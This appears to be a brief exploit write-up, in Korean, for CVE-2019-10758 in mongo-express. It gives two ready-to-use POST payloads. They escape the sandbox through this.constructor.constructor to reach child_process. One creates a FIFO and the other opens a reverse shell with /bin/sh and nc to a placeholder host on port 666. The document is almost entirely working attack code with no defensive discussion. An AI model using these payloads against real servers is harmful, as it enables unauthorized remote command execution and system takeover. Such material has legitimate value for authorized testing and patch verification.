lp008/cve-2019-10758CVE-2019-10758
mongo-express 원격 코드 실행, 리버스 셸 코드는 다음과 같습니다:
POST BODY 1:
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("mkfifo /tmp/f")
POST BODY 2：
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /tmp/f | /bin/sh -i 2>%261 | nc x.x.x.x 666 >/tmp/f")
